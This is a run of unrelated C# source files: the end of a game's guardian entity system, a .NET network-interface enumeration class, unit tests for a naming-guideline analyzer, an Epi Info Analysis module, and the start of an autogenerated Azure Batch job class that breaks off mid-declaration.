!TryComp(component.HostedGuardian, out GuardianComponent? guardianComponent) || !guardianComponent.GuardianLoose) return; CheckGuardianMove(uid, component.HostedGuardian.Value, component); } /// <summary> /// Called every time the guardian moves: makes sure it's not out of it's allowed distance /// </summary> private void OnGuardianMove(EntityUid uid, GuardianComponent component, ref MoveEvent args) { if (!component.GuardianLoose) return; CheckGuardianMove(component.Host, uid, guardianComponent: component); } /// <summary> /// Retract the guardian if either the host or the guardian move away from each other. /// </summary> private void CheckGuardianMove( EntityUid hostUid, EntityUid guardianUid, GuardianHostComponent? hostComponent = null, GuardianComponent? guardianComponent = null, TransformComponent? hostXform = null, TransformComponent? guardianXform = null) { if (!Resolve(hostUid, ref hostComponent, ref hostXform) || !Resolve(guardianUid, ref guardianComponent, ref guardianXform)) { return; } if (!guardianComponent.GuardianLoose) return; if (!guardianXform.Coordinates.InRange(EntityManager, hostXform.Coordinates, guardianComponent.DistanceAllowed)) { RetractGuardian(hostComponent, guardianComponent); } } private bool CanRelease(GuardianHostComponent host, GuardianComponent guardian) { return HasComp<ActorComponent>(guardian.Owner); } private void ReleaseGuardian(GuardianHostComponent hostComponent, GuardianComponent guardianComponent) { if (guardianComponent.GuardianLoose) { DebugTools.Assert(!hostComponent.GuardianContainer.Contains(guardianComponent.Owner)); return; } if (!CanRelease(hostComponent, guardianComponent)) { _popupSystem.PopupEntity(Loc.GetString("guardian-no-soul"), hostComponent.Owner, Filter.Entities(hostComponent.Owner)); return; } DebugTools.Assert(hostComponent.GuardianContainer.Contains(guardianComponent.Owner)); hostComponent.GuardianContainer.Remove(guardianComponent.Owner); DebugTools.Assert(!hostComponent.GuardianContainer.Contains(guardianComponent.Owner)); guardianComponent.GuardianLoose = true; } private void RetractGuardian(GuardianHostComponent hostComponent, GuardianComponent guardianComponent) { if (!guardianComponent.GuardianLoose) { DebugTools.Assert(hostComponent.GuardianContainer.Contains(guardianComponent.Owner)); return; } hostComponent.GuardianContainer.Insert(guardianComponent.Owner); DebugTools.Assert(hostComponent.GuardianContainer.Contains(guardianComponent.Owner)); _popupSystem.PopupEntity(Loc.GetString("guardian-entity-recall"), hostComponent.Owner, Filter.Pvs(hostComponent.Owner)); guardianComponent.GuardianLoose = false; } private sealed class GuardianCreatorInjectedEvent : EntityEventArgs { public EntityUid User { get; } public EntityUid Target { get; } public GuardianCreatorComponent Component { get; } public GuardianCreatorInjectedEvent(EntityUid user, EntityUid target, GuardianCreatorComponent component) { User = user; Target = target; Component = component; } } private sealed class GuardianCreatorInjectCancelledEvent : EntityEventArgs { public EntityUid Target { get; } public GuardianCreatorComponent Component { get; } public GuardianCreatorInjectCancelledEvent(EntityUid target, GuardianCreatorComponent component) { Target = target; Component = component; } } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using Microsoft.Win32.SafeHandles; using System.Collections.Generic; using System.Diagnostics.Contracts; using System.Net.Sockets; using System.Runtime.InteropServices; namespace System.Net.NetworkInformation { internal class SystemNetworkInterface : NetworkInterface { private readonly string _name; private readonly string _id; private readonly string _description; private readonly byte[] _physicalAddress; private readonly uint _addressLength; private readonly NetworkInterfaceType _type; private readonly OperationalStatus _operStatus; private readonly long _speed; // Any interface can have two completely different valid indexes for ipv4 and ipv6. private readonly uint _index = 0; private readonly uint _ipv6Index = 0; private readonly Interop.IpHlpApi.AdapterFlags _adapterFlags; private readonly SystemIPInterfaceProperties _interfaceProperties = null; internal static int InternalLoopbackInterfaceIndex { get { return GetBestInterfaceForAddress(IPAddress.Loopback); } } internal static int InternalIPv6LoopbackInterfaceIndex { get { return GetBestInterfaceForAddress(IPAddress.IPv6Loopback); } } private static int GetBestInterfaceForAddress(IPAddress addr) { int index; Internals.SocketAddress address = new Internals.SocketAddress(addr); int error = (int)Interop.IpHlpApi.GetBestInterfaceEx(address.Buffer, out index); if (error != 0) { throw new NetworkInformationException(error); } return index; } internal static bool InternalGetIsNetworkAvailable() { try { NetworkInterface[] networkInterfaces = GetNetworkInterfaces(); foreach (NetworkInterface netInterface in networkInterfaces) { if (netInterface.OperationalStatus == OperationalStatus.Up && netInterface.NetworkInterfaceType != NetworkInterfaceType.Tunnel && netInterface.NetworkInterfaceType != NetworkInterfaceType.Loopback) { return true; } } } catch (NetworkInformationException nie) { if (Logging.On) { Logging.Exception(Logging.Web, "SystemNetworkInterface", "InternalGetIsNetworkAvailable", nie); } } return false; } internal static NetworkInterface[] GetNetworkInterfaces() { Contract.Ensures(Contract.Result<NetworkInterface[]>() != null); AddressFamily family = AddressFamily.Unspecified; uint bufferSize = 0; SafeLocalAllocHandle buffer = null; // TODO: #2485: This will probably require changes in the PAL for HostInformation. Interop.IpHlpApi.FIXED_INFO fixedInfo = HostInformationPal.GetFixedInfo(); List<SystemNetworkInterface> interfaceList = new List<SystemNetworkInterface>(); Interop.IpHlpApi.GetAdaptersAddressesFlags flags = Interop.IpHlpApi.GetAdaptersAddressesFlags.IncludeGateways | Interop.IpHlpApi.GetAdaptersAddressesFlags.IncludeWins; // Figure out the right buffer size for the adapter information. uint result = Interop.IpHlpApi.GetAdaptersAddresses( family, (uint)flags, IntPtr.Zero, SafeLocalAllocHandle.Zero, ref bufferSize); while (result == Interop.IpHlpApi.ERROR_BUFFER_OVERFLOW) { // Allocate the buffer and get the adapter info. using (buffer = SafeLocalAllocHandle.LocalAlloc((int)bufferSize)) { result = Interop.IpHlpApi.GetAdaptersAddresses( family, (uint)flags, IntPtr.Zero, buffer, ref bufferSize); // If succeeded, we're going to add each new interface. if (result == Interop.IpHlpApi.ERROR_SUCCESS) { // Linked list of interfaces. IntPtr ptr = buffer.DangerousGetHandle(); while (ptr != IntPtr.Zero) { // Traverse the list, marshal in the native structures, and create new NetworkInterfaces. Interop.IpHlpApi.IpAdapterAddresses adapterAddresses = Marshal.PtrToStructure<Interop.IpHlpApi.IpAdapterAddresses>(ptr); interfaceList.Add(new SystemNetworkInterface(fixedInfo, adapterAddresses)); ptr = adapterAddresses.next; } } } } // If we don't have any interfaces detected, return empty. if (result == Interop.IpHlpApi.ERROR_NO_DATA || result == Interop.IpHlpApi.ERROR_INVALID_PARAMETER) { return new SystemNetworkInterface[0]; } // Otherwise we throw on an error. if (result != Interop.IpHlpApi.ERROR_SUCCESS) { throw new NetworkInformationException((int)result); } return interfaceList.ToArray(); } internal SystemNetworkInterface(Interop.IpHlpApi.FIXED_INFO fixedInfo, Interop.IpHlpApi.IpAdapterAddresses ipAdapterAddresses) { // Store the common API information. _id = ipAdapterAddresses.AdapterName; _name = ipAdapterAddresses.friendlyName; _description = ipAdapterAddresses.description; _index = ipAdapterAddresses.index; _physicalAddress = ipAdapterAddresses.address; _addressLength = ipAdapterAddresses.addressLength; _type = ipAdapterAddresses.type; _operStatus = ipAdapterAddresses.operStatus; _speed = (long)ipAdapterAddresses.receiveLinkSpeed; // API specific info. _ipv6Index = ipAdapterAddresses.ipv6Index; _adapterFlags = ipAdapterAddresses.flags; _interfaceProperties = new SystemIPInterfaceProperties(fixedInfo, ipAdapterAddresses); } public override string Id { get { return _id; } } public override string Name { get { return _name; } } public override string Description { get { return _description; } } public override PhysicalAddress GetPhysicalAddress() { byte[] newAddr = new byte[_addressLength]; // Array.Copy only supports int and long while addressLength is uint (see IpAdapterAddresses). // Will throw OverflowException if addressLength > Int32.MaxValue. Array.Copy(_physicalAddress, 0, newAddr, 0, checked((int)_addressLength)); return new PhysicalAddress(newAddr); } public override NetworkInterfaceType NetworkInterfaceType { get { return _type; } } public override IPInterfaceProperties GetIPProperties() { return _interfaceProperties; } public override IPInterfaceStatistics GetIPStatistics() { return new SystemIPInterfaceStatistics(_index); } public override bool Supports(NetworkInterfaceComponent networkInterfaceComponent) { if (networkInterfaceComponent == NetworkInterfaceComponent.IPv6 && ((_adapterFlags & Interop.IpHlpApi.AdapterFlags.IPv6Enabled) != 0)) { return true; } if (networkInterfaceComponent == NetworkInterfaceComponent.IPv4 && ((_adapterFlags & Interop.IpHlpApi.AdapterFlags.IPv4Enabled) != 0)) { return true; } return false; } // We cache this to be consistent across all platforms. public override OperationalStatus OperationalStatus { get { return _operStatus; } } public override long Speed { get { return _speed; } } public override bool IsReceiveOnly { get { return ((_adapterFlags & Interop.IpHlpApi.AdapterFlags.ReceiveOnly) > 0); } } /// <summary>The interface doesn't allow multicast.</summary> public override bool SupportsMulticast { get { return ((_adapterFlags & Interop.IpHlpApi.AdapterFlags.NoMulticast) == 0); } } } }
using System; using CSharpGuidelinesAnalyzer.Rules.Naming; using CSharpGuidelinesAnalyzer.Test.TestDataBuilders; using Microsoft.CodeAnalysis.Diagnostics; using Xunit; namespace CSharpGuidelinesAnalyzer.Test.Specs.Naming { public sealed class DoNotIncludeContainingTypeNameInMemberNameSpecs : CSharpGuidelinesAnalysisTestFixture { protected override string DiagnosticId => DoNotIncludeContainingTypeNameInMemberNameAnalyzer.DiagnosticId; [Fact] internal void When_method_name_contains_class_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" namespace N.M { class Employee { static void [|GetEmployee|]() { } } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Method 'GetEmployee' contains the name of its containing type 'Employee'"); } [Fact] internal void When_method_name_does_not_contain_class_name_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" namespace N.M { class Employee { static void Activate() { } } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_explicitly_implemented_method_name_contains_class_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" namespace N.M { interface IEmployee { string GetEmployee(); } class Employee : IEmployee { string IEmployee.[|GetEmployee|]() => throw null; } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Method 'N.M.IEmployee.GetEmployee' contains the name of its containing type 'Employee'"); } [Fact] internal void When_explicitly_implemented_method_name_does_not_contain_class_name_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" namespace N.M { interface IEmployee { string GetName(); } class Employee : IEmployee { string IEmployee.GetName() => throw null; } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_class_name_consists_of_a_single_letter_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class C { void IsC() { } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_field_name_contains_struct_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" struct Customer { bool [|IsCustomerActive|]; } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Field 'IsCustomerActive' contains the name of its containing type 'Customer'"); } [Fact] internal void When_field_name_does_not_contain_struct_name_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" struct Customer { bool IsActive; } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_property_name_contains_class_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Order { bool [|IsOrderDeleted|] { get; set; } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Property 'IsOrderDeleted' contains the name of its containing type 'Order'"); } [Fact] internal void When_property_name_contains_generic_class_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Order<TCategory> { bool [|IsOrderDeleted|] { get; set; } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Property 'IsOrderDeleted' contains the name of its containing type 'Order'"); } [Fact] internal void When_property_name_does_not_contain_class_name_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Order { bool IsDeleted { get; set; } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_event_name_contains_class_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Registration { event EventHandler [|RegistrationCompleted|] { add { throw new NotImplementedException(); } remove { throw new NotImplementedException(); } } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Event 'RegistrationCompleted' contains the name of its containing type 'Registration'"); } [Fact] internal void When_event_name_does_not_contain_class_name_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .Using(typeof(NotImplementedException).Namespace) .InGlobalScope(@" class Registration { event EventHandler Completed { add { throw new NotImplementedException(); } remove { throw new NotImplementedException(); } } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_enum_member_contains_enum_name_it_must_be_reported() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" enum WindowState { [|WindowStateVisible|] } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source, "Field 'WindowStateVisible' contains the name of its containing type 'WindowState'"); } [Fact] internal void When_enum_member_does_not_contain_enum_name_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" enum WindowState { WindowVisible } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_class_contains_constructor_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Employee { Employee() { } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_class_contains_static_constructor_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Employee { static Employee() { } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } [Fact] internal void When_class_contains_static_destructor_it_must_be_skipped() { // Arrange ParsedSourceCode source = new TypeSourceCodeBuilder() .InGlobalScope(@" class Employee { ~Employee() { } } ") .Build(); // Act and assert VerifyGuidelineDiagnostic(source); } protected override DiagnosticAnalyzer CreateAnalyzer() { return new DoNotIncludeContainingTypeNameInMemberNameAnalyzer(); } } }
using System; using System.Windows.Forms; using System.ComponentModel; using System.ComponentModel.Design; using Epi; using Epi.Analysis; using Epi.Windows; using Epi.Diagnostics; namespace Epi.Windows.Analysis { /// <summary> /// The Windows module for Analysis /// </summary> public class AnalysisWindowsModule : AnalysisEngine, IWindowsModule, IProjectHost { #region Private Attributes private Forms.AnalysisMainForm form = null; private Container container = null; #endregion Pricate Attributes #region Private Methods private string DialogResponse(CommandProcessorResults results) { return string.Empty; } #endregion #region Constructors /// <summary> /// Default constructor /// </summary> public AnalysisWindowsModule() { container = new ModuleContainer(this); } ///// <summary> ///// ///// </summary> //public AnalysisCommandProcessor CommandProcessor //{ // get // { // return this.engine.Processor; // } //} #endregion Constructors #region Public Properties ///// <summary> ///// Current project per requirements for analysis ///// </summary> //public Project CurrentProject //{ // get // { // return engine.CurrentProject; // } // set // { // engine.CurrentProject = value; // if (value != null) // { // Configuration config = Configuration.GetNewInstance(); // config.CurrentProjectFilePath = value.FilePath; // Configuration.Save(config); // } // } //} #endregion Public Properties #region Protected Properties /// <summary> /// Module's Epi Info module type /// </summary> protected override string ModuleName { get { return "Analysis"; } } #endregion Protected Properties #region Public Methods /// <summary> /// <para> Returns an object that represents a service provided by the /// <see cref="T:System.ComponentModel.Component" /> or by its <see cref="T:System.ComponentModel.Container" />. /// </para> /// </summary> /// <param name="serviceType">A service provided by the <see cref="T:System.ComponentModel.Component" />. </param> /// <returns> /// <para> An <see cref="T:System.Object" /> that represents a service provided by the /// <see cref="T:System.ComponentModel.Component" />. /// </para> /// <para> This value is <see langword="null" /> if the <see cref="T:System.ComponentModel.Component" /> does not provide the /// specified service.</para> /// </returns> [System.Diagnostics.DebuggerStepThrough()] public override object GetService(Type serviceType) { if (serviceType == this.GetType()) { return this; } else if (serviceType == typeof(IProjectHost)) { return this; } /* else if (serviceType == typeof(Session)) { return this.Processor.Session; }*/ /*else if (serviceType == typeof(AnalysisCommandProcessor) || serviceType == typeof(ICommandProcessor)) { return this.Processor; }*/ else { return base.GetService(serviceType); } } /// <summary> /// Dispose of the container /// </summary> public override void Dispose() { // trash container and any components this.container.Dispose(); //if (this.engine != null) //{ // this.engine.Dispose(); //} form = null; // base class will finish the job base.Dispose(); } #endregion Public Methods #region Protected Methods /// <summary> /// Attach the current project with module loading /// </summary> protected override void Load(IModuleManager moduleManager, ICommandLine commandLine) { // create a new instance of the analysis engine module. Module will be isolated from Windows // ApplicationManager GetService chain. // engine = new AnalysisEngine(moduleManager, null); base.Load(moduleManager, commandLine); try { //Attach CurrentProject Configuration config = Configuration.GetNewInstance(); string filePath = config.CurrentProjectFilePath; if (!string.IsNullOrEmpty(filePath)) { // Try to open the current project in the configuration file. // If the project can't be opened, recover from the error and update the configuration file. try { CurrentProject = new Project(filePath); } catch (Exception ex) { MsgBox.ShowException(ex); config.CurrentProjectFilePath = string.Empty; Configuration.Save(config); } } if (form == null) { base.OnLoaded(); form = new Forms.AnalysisMainForm(this); container.Add(form); form.Closed += new EventHandler(MainForm_Closed); form.Disposed += new EventHandler(MainForm_Disposed); form.Show(); if (!Util.IsEmpty(form)) { form.Activate(); // assure handle creation System.IntPtr handle = form.Handle; // read the command line if (commandLine != null) { string titleArgument = commandLine.GetArgument("title"); if (titleArgument != null) { form.Text = titleArgument; } } } } else { if (!form.IsDisposed) { form.Show(); if (form.WindowState == FormWindowState.Minimized) { form.WindowState = FormWindowState.Normal; } form.Activate(); } } //zack 1/2/08 //Processor.CommunicateUI += new CommunicateUIEventHandler(MsgResponse); // KKM4 Commented this out since HandleDialogEvent is never raised. // Processor.HandleDialogEvent += new DialogBoxUIEventHandler(DialogResponse); //dcs0 4/23/08 } catch (Exception ex) { throw new GeneralException(SharedStrings.MODULE_NOT_LOADED + ": \n" + ex.Message, ex); } finally { if (Util.IsEmpty(form)) { this.Dispose(); Application.ExitThread(); } } } /// <summary> /// Unload - close the form /// </summary> protected override void Unload() { if (form != null && !form.IsDisposed) { // form can cancel closing if necessary, module will only be unloaded if // the form's Closed event is fired form.Close(); } else { this.Dispose(); } } #endregion Protected Methods #region Event Handlers /// <summary> /// Handles the Disposed event /// </summary> /// <param name="sender">Object that fired the event</param> /// <param name="e">.NET supplied event parameters</param> public void MainForm_Disposed(object sender, EventArgs e) { this.Dispose(); } /// <summary> /// Handles the Closed event for the MainForm /// </summary> /// <param name="sender">Object that fired the event</param> /// <param name="e">.NET supplied event parameters</param> public void MainForm_Closed(object sender, EventArgs e) { this.Dispose(); } #endregion Event Handlers } // Class } // Namespace
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. // // This file was autogenerated by a tool. // Do not modify it. // namespace Microsoft.Azure.Batch { using Models = Microsoft.Azure.Batch.Protocol.Models; using System; using System.Collections.Generic; using System.Linq; /// <summary> /// An Azure Batch job. /// </summary> public partial class CloudJob : ITransportObjectProvider<Models.JobAddParameter>, IInheritedBehaviors, IPropertyMetadata { private class PropertyContainer : PropertyCollection { public readonly PropertyAccessor<IList<EnvironmentSetting>> CommonEnvironmentSettingsProperty; public readonly PropertyAccessor<JobConstraints> ConstraintsProperty; public readonly PropertyAccessor<DateTime?> CreationTimeProperty; public readonly PropertyAccessor<string> DisplayNameProperty; public readonly PropertyAccessor<string> ETagProperty; public readonly PropertyAccessor<JobExecutionInformation> ExecutionInformationProperty; public readonly PropertyAccessor<string> IdProperty; public readonly PropertyAccessor<JobManagerTask> JobManagerTaskProperty; public readonly PropertyAccessor<JobPreparationTask> JobPreparationTaskProperty; public readonly PropertyAccessor<JobReleaseTask> JobReleaseTaskProperty; public readonly PropertyAccessor<DateTime?> LastModifiedProperty; public readonly PropertyAccessor<IList<MetadataItem>> MetadataProperty; public readonly PropertyAccessor<Common.OnAllTasksComplete?> OnAllTasksCompleteProperty; public readonly PropertyAccessor<Common.OnTaskFailure?> OnTaskFailureProperty; public readonly PropertyAccessor<PoolInformation> PoolInformationProperty; public readonly PropertyAccessor<Common.JobState?> PreviousStateProperty; public readonly PropertyAccessor<DateTime?> PreviousStateTransitionTimeProperty; public readonly PropertyAccessor<int?> PriorityProperty; public readonly PropertyAccessor<Common.JobState?> StateProperty; public readonly PropertyAccessor<DateTime?> StateTransitionTimeProperty; public readonly PropertyAccessor<JobStatistics> StatisticsProperty; public readonly PropertyAccessor<string> UrlProperty; public readonly PropertyAccessor<bool?> UsesTaskDependenciesProperty; public PropertyContainer() : base(BindingState.Unbound) { this.CommonEnvironmentSettingsProperty = this.CreatePropertyAccessor<IList<EnvironmentSetting>>(nameof(CommonEnvironmentSettings), BindingAccess.Read | BindingAccess.Write); this.ConstraintsProperty = this.CreatePropertyAccessor<JobConstraints>(nameof(Constraints), BindingAccess.Read | BindingAccess.Write); this.CreationTimeProperty = this.CreatePropertyAccessor<DateTime?>(nameof(CreationTime), BindingAccess.None); this.DisplayNameProperty = this.CreatePropertyAccessor<string>(nameof(DisplayName), BindingAccess.Read | BindingAccess.Write); this.ETagProperty = this.CreatePropertyAccessor<string>(nameof(ETag), BindingAccess.None); this.ExecutionInformationProperty = this.CreatePropertyAccessor<JobExecutionInformation>(nameof(ExecutionInformation), BindingAccess.None); this.IdProperty = this.CreatePropertyAccessor<string>(nameof(Id), BindingAccess.Read | BindingAccess.Write); this.JobManagerTaskProperty = this.CreatePropertyAccessor<JobManagerTask>(nameof(JobManagerTask), BindingAccess.Read | BindingAccess.Write); this.JobPreparationTaskProperty = this.CreatePropertyAccessor<JobPreparationTask>(nameof(JobPreparationTask), BindingAccess.Read | BindingAccess.Write); this.JobReleaseTaskProperty = this.CreatePropertyAccessor<JobReleaseTask>(nameof(JobReleaseTask), BindingAccess.Read | BindingAccess.Write); this.LastModifiedProperty = this.CreatePropertyAccessor<DateTime?>(nameof(LastModified), BindingAccess.None); this.MetadataProperty = this.CreatePropertyAccessor<IList<MetadataItem>>(nameof(Metadata), BindingAccess.Read | BindingAccess.Write); this.OnAllTasksCompleteProperty = this.CreatePropertyAccessor<Common.OnAllTasksComplete?>(nameof(OnAllTasksComplete), BindingAccess.Read | BindingAccess.Write); this.OnTaskFailureProperty = this.CreatePropertyAccessor<Common.OnTaskFailure?>(nameof(OnTaskFailure), BindingAccess.Read | BindingAccess.Write); this.PoolInformationProperty = this.CreatePropertyAccessor<PoolInformation>(nameof(PoolInformation), BindingAccess.Read | BindingAccess.Write); this.PreviousStateProperty = this.CreatePropertyAccessor<Common.JobState?>(nameof(PreviousState), BindingAccess.None); this.PreviousStateTransitionTimeProperty = this.CreatePropertyAccessor<DateTime?>(nameof(PreviousStateTransitionTime), BindingAccess.None); this.PriorityProperty = this.CreatePropertyAccessor<int?>(nameof(Priority), BindingAccess.Read | BindingAccess.Write); this.StateProperty = this.CreatePropertyAccessor<Common.JobState?>(nameof(State), BindingAccess.None); this.StateTransitionTimeProperty = this.CreatePropertyAccessor<DateTime?>(nameof(StateTransitionTime), BindingAccess.None); this.StatisticsProperty = this.CreatePropertyAccessor<JobStatistics>(nameof(Statistics), BindingAccess.None); this.UrlProperty = this.CreatePropertyAccessor<string>(nameof(Url), BindingAccess.None); this.UsesTaskDependenciesProperty = this.CreatePropertyAccessor<bool?>(nameof(UsesTaskDependencies), BindingAccess.Read | BindingAccess.Write); } public PropertyContainer(Models.CloudJob protocolObject) : base(BindingState.Bound) { this.CommonEnvironmentSettingsProperty = this.CreatePropertyAccessor( EnvironmentSetting.ConvertFromProtocolCollectionAndFreeze(protocolObject.CommonEnvironmentSettings), nameof(CommonEnvironmentSettings), BindingAccess.Read); this.ConstraintsProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.Constraints, o => new JobConstraints(o)), nameof(Constraints), BindingAccess.Read | BindingAccess.Write); this.CreationTimeProperty = this.CreatePropertyAccessor( protocolObject.CreationTime, nameof(CreationTime), BindingAccess.Read); this.DisplayNameProperty = this.CreatePropertyAccessor( protocolObject.DisplayName, nameof(DisplayName), BindingAccess.Read); this.ETagProperty = this.CreatePropertyAccessor( protocolObject.ETag, nameof(ETag), BindingAccess.Read); this.ExecutionInformationProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.ExecutionInfo, o => new JobExecutionInformation(o).Freeze()), nameof(ExecutionInformation), BindingAccess.Read); this.IdProperty = this.CreatePropertyAccessor( protocolObject.Id, nameof(Id), BindingAccess.Read); this.JobManagerTaskProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.JobManagerTask, o => new JobManagerTask(o).Freeze()), nameof(JobManagerTask), BindingAccess.Read); this.JobPreparationTaskProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.JobPreparationTask, o => new JobPreparationTask(o).Freeze()), nameof(JobPreparationTask), BindingAccess.Read); this.JobReleaseTaskProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.JobReleaseTask, o => new JobReleaseTask(o).Freeze()), nameof(JobReleaseTask), BindingAccess.Read); this.LastModifiedProperty = this.CreatePropertyAccessor( protocolObject.LastModified, nameof(LastModified), BindingAccess.Read); this.MetadataProperty = this.CreatePropertyAccessor( MetadataItem.ConvertFromProtocolCollection(protocolObject.Metadata), nameof(Metadata), BindingAccess.Read | BindingAccess.Write); this.OnAllTasksCompleteProperty = this.CreatePropertyAccessor( UtilitiesInternal.MapNullableEnum<Models.OnAllTasksComplete, Common.OnAllTasksComplete>(protocolObject.OnAllTasksComplete), nameof(OnAllTasksComplete), BindingAccess.Read | BindingAccess.Write); this.OnTaskFailureProperty = this.CreatePropertyAccessor( UtilitiesInternal.MapNullableEnum<Models.OnTaskFailure, Common.OnTaskFailure>(protocolObject.OnTaskFailure), nameof(OnTaskFailure), BindingAccess.Read); this.PoolInformationProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.PoolInfo, o => new PoolInformation(o)), nameof(PoolInformation), BindingAccess.Read | BindingAccess.Write); this.PreviousStateProperty = this.CreatePropertyAccessor( UtilitiesInternal.MapNullableEnum<Models.JobState, Common.JobState>(protocolObject.PreviousState), nameof(PreviousState), BindingAccess.Read); this.PreviousStateTransitionTimeProperty = this.CreatePropertyAccessor( protocolObject.PreviousStateTransitionTime, nameof(PreviousStateTransitionTime), BindingAccess.Read); this.PriorityProperty = this.CreatePropertyAccessor( protocolObject.Priority, nameof(Priority), BindingAccess.Read | BindingAccess.Write); this.StateProperty = this.CreatePropertyAccessor( UtilitiesInternal.MapNullableEnum<Models.JobState, Common.JobState>(protocolObject.State), nameof(State), BindingAccess.Read); this.StateTransitionTimeProperty = this.CreatePropertyAccessor( protocolObject.StateTransitionTime, nameof(StateTransitionTime), BindingAccess.Read); this.StatisticsProperty = this.CreatePropertyAccessor( UtilitiesInternal.CreateObjectWithNullCheck(protocolObject.Stats, o => new JobStatistics(o).Freeze()), nameof(Statistics), BindingAccess.Read); this.UrlProperty = this.CreatePropertyAccessor( protocolObject.Url, nameof(Url), BindingAccess.Read); this.UsesTaskDependenciesProperty = this.CreatePropertyAccessor( protocolObject.UsesTaskDependencies, nameof(UsesTaskDependencies), BindingAccess.Read); } } private PropertyContainer propertyContainer; private readonly BatchClient parentBatchClient; #region Constructors /// <summary> /// Initializes a new instance of the <see cref="CloudJob"/> class. /// </summary> /// <param name='parentBatchClient'>The parent <see cref="BatchClient"/> to use.</param> /// <param name='baseBehaviors'>The base behaviors to use.</param> internal CloudJob( BatchClient parentBatchClient, IEnumerable<BatchClientBehavior> baseBehaviors) { this.propertyContainer = new PropertyContainer(); this.parentBatchClient = parentBatchClient; InheritUtil.InheritClientBehaviorsAndSetPublicProperty(this, baseBehaviors); } internal CloudJob( BatchClient parentBatchClient, Models.CloudJob protocolObject, IEnumerable<BatchClientBehavior> baseBehaviors) { this.parentBatchClient = parentBatchClient; InheritUtil.InheritClientBehaviorsAndSetPublicProperty(this, baseBehaviors); this.propertyContainer = new PropertyContainer(protocolObject); } #endregion Constructors #region IInheritedBehaviors /// <summary> /// Gets or sets a list of behaviors that modify or customize requests to the Batch service /// made via this <see cref="CloudJob"/>. /// </summary> /// <remarks> /// <para>These behaviors are inherited by child objects.</para> /// <para>Modifications are applied in the order of the collection. The last write wins.</para> /// </remarks> public IList<BatchClientBehavior> CustomBehaviors { get; set; } #endregion IInheritedBehaviors #region CloudJob /// <summary> /// Gets or sets a list of common environment variable settings. These environment variables are set for all tasks /// in this <see cref="CloudJob"/> (including the Job Manager, Job Preparation and Job Release tasks). /// </summary> public IList<EnvironmentSetting> CommonEnvironmentSettings { get { return this.propertyContainer.CommonEnvironmentSettingsProperty.Value; } set { this.propertyContainer.CommonEnvironmentSettingsProperty.Value = ConcurrentChangeTrackedModifiableList<EnvironmentSetting>.TransformEnumerableToConcurrentModifiableList(value); } } /// <summary> /// Gets or sets the execution constraints for the job. /// </summary> public JobConstraints Constraints { get { return this.propertyContainer.ConstraintsProperty.Value; } set { this.propertyContainer.ConstraintsProperty.Value = value; } } /// <summary> /// Gets the creation time of the job. /// </summary> public DateTime? CreationTime { get { return this.propertyContainer.CreationTimeProperty.Value; } } /// <summary> /// Gets or sets the display name of the job. /// </summary> public string DisplayName { get { return this.propertyContainer.DisplayNameProperty.Value; } set { this.propertyContainer.DisplayNameProperty.Value = value; } } /// <summary> /// Gets the ETag for the job. /// </summary> public string ETag { get { return this.propertyContainer.ETagProperty.Value; } } /// <summary> /// Gets the execution information for the job. /// </summary> public JobExecutionInformation 